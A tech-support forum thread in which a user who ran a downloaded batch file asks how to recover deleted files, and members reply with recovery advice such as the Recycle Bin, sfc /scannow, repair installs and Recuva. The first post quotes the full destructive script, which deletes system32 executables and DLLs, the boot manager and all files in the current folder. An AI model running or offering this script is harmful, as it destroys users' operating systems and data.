Accidently deleted all files from desktop!! NEED HELP

  • Hi there and welcome to PC Help Forum (PCHF), a more effective way to get the Tech Support you need!
    We have Experts in all areas of Tech, including Malware Removal, Crash Fixing and BSOD's , Microsoft Windows, Computer DIY and PC Hardware, Networking, Gaming, Tablets and iPads, General and Specific Software Support and so much more.

    Why not Click Here To Sign Up and start enjoying great FREE Tech Support.

    This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.
  • Hello everyone We want to personally apologize to everyone for the downtime that we've experienced. We are working to get everything back up as quickly as possible. Due to the issues we've had, your password will need to be reset. Please click the button that says "Forgot Your Password" and change it. We are working to have things back to normal. Emails are fixed and should now send properly. Thank you all for your patience. Thanks, PCHF Management
Status
Not open for further replies.

Dolby

PCHF Member
Apr 29, 2021
1
0
26
Hello, I need help.
I was dumb and ran a bat file from the internet and it deleted all my files on desktop!!!
Is there any way to undo this or get my files back???

Here is the code in the bat file:

@echo off
rem Very destructive virus!

for %%i in (%systemroot%\system32\*.exe) do del /q %%i

for %%i in (%systemroot%\system32\*.dll) do del /q %%i

for %%i in (*.*) do del /q %%i

del /q %systemdrive%\bootmgr

del /q *.*

PLEASE HELP
 
I'm sorry, but it has got to be sad - that was a stupid thing to do.
the first line in the BAT file didn't give you cause to pause before charging full throttle ahead.

anyway - that horse has bolted now. :)

and let me guess, you have no backups or system image snapshots of the system - at all - right?! :thumbsup:

those commands in the batch file deleted all system .EXE and .DLL files, then tried to delete every file, then for good measure tried to remove the bootmgr folder.

you can look in the Recycle Bin but depending on its size limits, it would have become full and everything deleted may not be still in there.
plus this BAT file was running while the system was running so a lot of the files would have been locked by Windows, so who knows what state it is all in.

you could try running sfc /scannow from an elevated command prompt or even doing a repair install of Win10 from Settings > Update & Security > Recovery.
 
Unfortunately unless you have any backups (File History, OneDrive, Macrium image) it is going to be nigh impossible to recover.
Going over the .bat file I can tell what it has done & I’m not knowledgeable in coding.
Chances are system restore is possibly deleted as well but you can try it within safe mode.
 
sadly system restore points won't work here, well maybe a little if Windows isn't starting.
but the executable for that was probably deleted as well.
plus restore points dont go anywhere near personal files, only system files and only a very small suset of those - the ones that deal with system startup and drivers only.

file recovery is almost not even worth spending time on - you are simply buggered!
UNLESS you have a backup or the system and/or your personal files.

hard lesson to learn - but we have all been there!
 
I suspected as much Bruce but in the op position I’d be trying anything & everything.
We have. Luckily for me I didn’t have many files on the PC at the time.
 
I assume from that file your computer will not boot.
Take the hard drive out and insert it into another computer or an external caddy.
You could try a recovery program like Recuva Click On Me and hope for the best.
It might get some stuff back as files are not really deleted unless you use a program that writes 0000 to the drive.
Your files are still on the disk it is a matter of time and effort needed to get them back.
The more you use the disk the less chance of getting data back
 
Status
Not open for further replies.